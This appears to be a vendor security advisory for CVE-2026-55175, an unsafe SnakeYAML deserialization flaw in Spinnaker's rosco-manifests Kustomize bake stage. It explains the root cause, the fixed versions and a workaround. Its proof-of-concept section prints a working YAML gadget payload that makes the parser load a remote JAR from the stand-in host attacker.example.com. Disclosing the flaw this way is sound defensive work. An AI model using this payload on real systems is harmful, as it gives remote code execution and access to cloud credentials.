high · 7.5CVE-2026-55175Aug 28, 2026

CVE-2026-55175: Spinnaker rosco-manifests Unsafe YAML Deserialization RCE

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A crafted kustomization.yaml file fed to Spinnaker's Kustomize bake stage can trigger SnakeYAML unsafe deserialization and execute arbitrary code inside the rosco pod.

Packageio.spinnaker.rosco:rosco-manifests
Ecosystemmaven
Affected< 2025.3.4
Fixed in2025.3.4
CVE-2026-55175: Spinnaker rosco-manifests Unsafe YAML Deserialization RCE

The problem

Spinnaker's rosco-manifests module parses kustomization files using SnakeYAML's bare new Yaml(new Constructor(...)) instead of SafeConstructor. This means YAML type tags (!!) are resolved and the named Java class is instantiated during parsing.

Any authenticated user who can trigger a Kustomize bake operation and supply or influence the kustomization.yaml content can achieve RCE on the rosco pod. Rosco typically runs with cloud-provider credentials attached, so a successful shell escalates directly to cloud infrastructure access.

Proof of concept

A working proof-of-concept for CVE-2026-55175 in io.spinnaker.rosco:rosco-manifests, with the exact payload below.

text
# kustomization.yaml — delivered as the kustomize artifact
# Triggers SnakeYAML gadget chain via !! type tag on parse
apiVersion: kustomize.config.k8s.io/v1beta1
kind: !!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.example.com/exploit.jar"]
  ]]
]
resources: []

SnakeYAML's default Constructor resolves !!-prefixed type tags by instantiating the named Java class from the classpath. The KustomizationFileReader used new Yaml(new Constructor(Kustomization.class)) rather than SafeConstructor, so any !! tag in the input file was honoured before the object was cast to Kustomization.

The classic gadget loads a remote JAR via URLClassLoader inside ScriptEngineManager's constructor, giving the attacker arbitrary code execution even though the subsequent ClassCastException is thrown. The patch replaces the constructor call with new Yaml(new SafeConstructor(...)), which rejects any global !! tag outright and stops class instantiation entirely (CWE-502).

The fix

Upgrade io.spinnaker.rosco:rosco-manifests to version 2025.3.4 (or 2025.4.4 / 2026.0.3 / 2026.1.1 on their respective release lines). The fix switches KustomizationFileReader to SnakeYAML's SafeConstructor, which blocks arbitrary !! type-tag instantiation.

If you cannot upgrade immediately, disable Kustomize bake operations entirely in your Spinnaker configuration.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research